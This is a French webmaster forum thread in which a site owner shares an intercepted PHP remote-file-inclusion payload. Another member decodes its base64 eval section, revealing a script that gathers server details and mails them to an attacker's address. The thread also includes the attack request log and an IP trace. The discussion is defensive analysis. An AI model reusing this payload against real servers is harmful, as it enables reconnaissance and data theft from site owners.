Tentative de piratage ^^
27 messages
• Page 1 sur 2 • 1, 2
Consultez la formation à Google Analytics de WebRankInfo / Ranking Metrics
-

medium69 - WRInaute passionné

- Messages: 2485
- Inscription: 7 Mai 2005
Tentative de piratage ^^
Je viens d'intercepter ce code :
mon site à diverses protections et je suis tombé là-dessus.
J'ai compris que le but est d'avoir des infos sur mon serveur et mes id.
Mais que fait la dernière ligne (eval...) ?
- Code: Tout sélectionner
function ConvertBytes($number)
{
$len = strlen($number);
if($len < 4)
{
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6)
{
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9)
{
return sprintf("%0.2f Mb", $number/1024/1024);
}
return sprintf("%0.2f Gb", $number/1024/1024/1024);
}
echo "Rama<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "Rama was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
eval(base64_decode(" un code à évaluer"));
exit;
mon site à diverses protections et je suis tombé là-dessus.
J'ai compris que le but est d'avoir des infos sur mon serveur et mes id.
Mais que fait la dernière ligne (eval...) ?
Dernière édition par Marie-Aude le Mar Avr 12, 2011 16:27, édité 1 fois.
Raison: Suppression de la ligne d'éval, pour éviter de faire crier les antivirus
Raison: Suppression de la ligne d'éval, pour éviter de faire crier les antivirus
-

Blount - WRInaute occasionnel

- Messages: 430
- Inscription: 18 Nov 2010
Re: Tentative de piratage ^^
Ça sert à évaluer du code source PHP. base64 permet de convertir des données dans un format sépécifique contenant des caractères ASCII seulement.
Avec un print_r de la sortie de « base64_decode », on obtiens ceci :
En plus propre :
Avec un print_r de la sortie de « base64_decode », on obtiens ceci :
jerome@jerome:~$ php -r 'print_r(base64_decode("aWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiT04iOyB9IGVsc2UgeyAkc2FmZW1vZGUgPSAiT0ZGIjsgfSAkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkZmxvYXQgPSAiRnJvbSA6IHZ1cmwgaW5mbyA8ZnVsbEBpbmZvLmNvbT4iOyAkYXJhbiA9IGV4ZWMoJ3VuYW1lIC1hOycpOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICRib2R5ID0gIkJ1ZyBodHRwOi8vIi4kd2ViLiRpbmouIm5uU3ByZWFkIFZpYSA6ICIuJHZpc2l0b3IuIm5uS2VybmVsIFZlcnNpb24gOiAiLiRhcmFuLiJublNhZmUgTW9kZSA6ICIuJHNhZmVtb2RlOyBtYWlsKCJ1bml4b24yMDEwQGdtYWlsLmNvbSIsIlNldG9yYW4gQm9zICIuJHNhZmVtb2RlLCRib2R5LCRmbG9hdCk7"));'
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "ON"; } else { $safemode = "OFF"; } $visitor = $_SERVER["REMOTE_ADDR"]; $float = "From : vurl info <full@info.com>"; $aran = exec('uname -a;'); $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Bug http://".$web.$inj."nnSpread Via : ".$visitor."nnKernel Version : ".$aran."nnSafe Mode : ".$safemode; mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);
En plus propre :
- Code: Tout sélectionner
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
$safemode = "ON";
} else {
$safemode = "OFF";
}
$visitor = $_SERVER["REMOTE_ADDR"];
$float = "From : vurl info <full@info.com>";
$aran = exec('uname -a;');
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Bug http://".$web.$inj."nnSpread Via : ".$visitor."nnKernel Version : ".
$aran."nnSafe Mode : ".$safemode;
mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);
-

medium69 - WRInaute passionné

- Messages: 2485
- Inscription: 7 Mai 2005
Re: Tentative de piratage ^^
Si j'ai bien compris, si le code qu'il a essayé d'injecter avait été produit, il aurait reçu un e-mail avec diverses informations sur moi ?
J'ai testé le bout de code sans la dernière partie, et c'est vrai que l'on y trouve des infos intéressante
Cela dit, moi aussi j'ai pu glaner quelques infos sur lui. Certes, pas grand chose, mais ça aide ^^
quant au site kerber ; il aurait été piraté lui aussi et il s'en servirait pour tenter d'injecter son code ?
J'ai testé le bout de code sans la dernière partie, et c'est vrai que l'on y trouve des infos intéressante
Cela dit, moi aussi j'ai pu glaner quelques infos sur lui. Certes, pas grand chose, mais ça aide ^^
- Code: Tout sélectionner
* Code erreur internet :
* Date et heure d'accès : 12/04/11 à 11:07:39
* Url demandée : /?page=http://wt-kerber.at/r.txt??
* Provenance : http://www.science-et-vie.net/
* Navigateur utilisé : Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)
* Méthode utilisée : GET
* Chaine de requête : page=http://wt-kerber.at/r.txt??
* Nom de Domaine : 212.234.218.194
* IP du visiteur : 212.234.218.194
quant au site kerber ; il aurait été piraté lui aussi et il s'en servirait pour tenter d'injecter son code ?
- mitchum
- WRInaute discret

- Messages: 237
- Inscription: 18 Fév 2004
Re: Tentative de piratage ^^
un truc "drole" c'est quand tu trace l'ip....
- Code: Tout sélectionner
IP address: 212.234.218.194
IP country code: FR
IP address country: ip address flag France
IP address state: Ile-de-France
IP address city: Maisons-alfort
IP address latitude: 48.8000
IP address longitude: 2.4333
ISP of this IP : France Telecom
Organization: MINISTERE de L'INTERIEUR
Local time in France: 2011-04-12 12:01
-

JanoLapin - WRInaute accro

- Messages: 4056
- Inscription: 21 Sep 2008
Re: Tentative de piratage ^^
c'est pas sur que ce soit utile, d'après le Whois, le site appartient à une fiduciaire. C'est quand même une profession très encadrée, et je ne les vois pas jouer à ce genre de jeu...
Peut-être est-ce simplement leur propre site qui a été piraté et sert de relais, comme tu le suggérais...
Prendre contact avec eux n'est donc pas forcémment une mauvaise chose, non ?
Peut-être est-ce simplement leur propre site qui a été piraté et sert de relais, comme tu le suggérais...
Prendre contact avec eux n'est donc pas forcémment une mauvaise chose, non ?
-

medium69 - WRInaute passionné

- Messages: 2485
- Inscription: 7 Mai 2005
Re: Tentative de piratage ^^
Zecat a écrit:un petit signalement a google ?
mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);
Je n'y avais pas pensé...
Comme je peux faire ce signalement ?
Quoi qu'il s'agit probablement d'une adresse relais.
Au fait... Je l'ai inscrit d'office a ma newsletter ; ainsi, il aura des infos sur mon site tous les mois
-

medium69 - WRInaute passionné

- Messages: 2485
- Inscription: 7 Mai 2005
Re: Tentative de piratage ^^
JanoLapin a écrit:c'est pas sur que ce soit utile, d'après le Whois, le site appartient à une fiduciaire. C'est quand même une profession très encadrée, et je ne les vois pas jouer à ce genre de jeu...
Peut-être est-ce simplement leur propre site qui a été piraté et sert de relais, comme tu le suggérais...
Prendre contact avec eux n'est donc pas forcémment une mauvaise chose, non ?
C'est un site allemand il me semble et si je ne suis pas pote avec shékispire... je le suis pas plus avec son pote dont j'ai perdu le nom
Cela dit, c'est exactement la réflexion que je me suis faite. Il sert de relais, c'est évident.
-

medium69 - WRInaute passionné

- Messages: 2485
- Inscription: 7 Mai 2005
Re: Tentative de piratage ^^
Leonick a écrit:il sert à quoi ce mail ?Zecat a écrit:un petit signalement a google ?
mail("unixon2010@gmail.com","Setoran Bos ".$safemode,$body,$float);
A recevoir les informations qu'il aurait pu obtenir sur le site, le serveur, l'identifiant, etc.
-

medium69 - WRInaute passionné

- Messages: 2485
- Inscription: 7 Mai 2005
Re: Tentative de piratage ^^
bee_human a écrit:medium69 a écrit:C'est un site allemand il me semble et si je ne suis pas pote avec shékispire... je le suis pas plus avec son pote dont j'ai perdu le nom![]()
ça doit être gueute...
Ah moins que cela ne soit sa copine : Gueuze
-

medium69 - WRInaute passionné

- Messages: 2485
- Inscription: 7 Mai 2005
Re: Tentative de piratage ^^
Juste un début de piste :
Mais je t'en dirais pas plus
- Code: Tout sélectionner
if (xxx !== TRUE || (isset($_SERVER['HTTP_REFERER']) && ($_SERVER['HTTP_REFERER'] != 'http://www.science-et-vie.net' && strpos($_SERVER['QUERY_STRING'], '=http')))) {
require($_SERVER['DOCUMENT_ROOT'].'/xxx/anti-hacking.php');
exit;
}
Mais je t'en dirais pas plus
-

JanoLapin - WRInaute accro

- Messages: 4056
- Inscription: 21 Sep 2008
Re: Tentative de piratage ^^
C'est un site autrichien, et non pas allemand (pas confondre: <troll>nom d'un Belge !
</troll>
Leur site est en pur html (avec 1 JS pour l'imprimer (sisi ça existe encore). Ils sont une dizaine de personne et apparemment sans informaticien...
Bref, ils ne sont sont probablement pas au courant de la présence de ce fichier sur leur serveur (fichier extension txt, qui plus est).
Si tu veux me faire parvenir par MP un texte de un mail d'avertissement (court) à leur intention, je peux te le traduire.
Nb: pas compliqué, parce qu'il que je le comprenne
NBB: pas compliqué, parce qu'il faut qu'ils le comprennent
NBBB pas TROP compliqué, parce qu'ilf aut que je le leur fasse comprendre ...
Leur site est en pur html (avec 1 JS pour l'imprimer (sisi ça existe encore). Ils sont une dizaine de personne et apparemment sans informaticien...
Bref, ils ne sont sont probablement pas au courant de la présence de ce fichier sur leur serveur (fichier extension txt, qui plus est).
Si tu veux me faire parvenir par MP un texte de un mail d'avertissement (court) à leur intention, je peux te le traduire.
Nb: pas compliqué, parce qu'il que je le comprenne
NBB: pas compliqué, parce qu'il faut qu'ils le comprennent
NBBB pas TROP compliqué, parce qu'ilf aut que je le leur fasse comprendre ...
27 messages
• Page 1 sur 2 • 1, 2
Formation recommandée sur ce thème :
Formation Google Analytics : en 2 jours, apprenez comment exploiter l'essentiel des possibilités de l'outil de mesure d'audience de Google. Formation animée par les experts Google Analytics de Ranking Metrics.
Tous les détails sur le site Ranking Metrics : programme, prix, dates et lieux, inscription en ligne.
Lectures recommandées sur ce thème :
- Nouvelle faille qui touche de nombreux services de Google
- Comment éviter de se faire voler son nom de domaine...
- Linkbait et linkbaiting : explications en français
- L'affaire du nom de domaine webrankinfo.com
- PR Weaver en test en avant-première
- Concours Alsa-WRI : changement de design
- Participez au projet 3x3 !
- Prospectus d'entrée en bourse de Google
Qui est en ligne
Utilisateurs parcourant ce forum: Wefficient et 0 invités



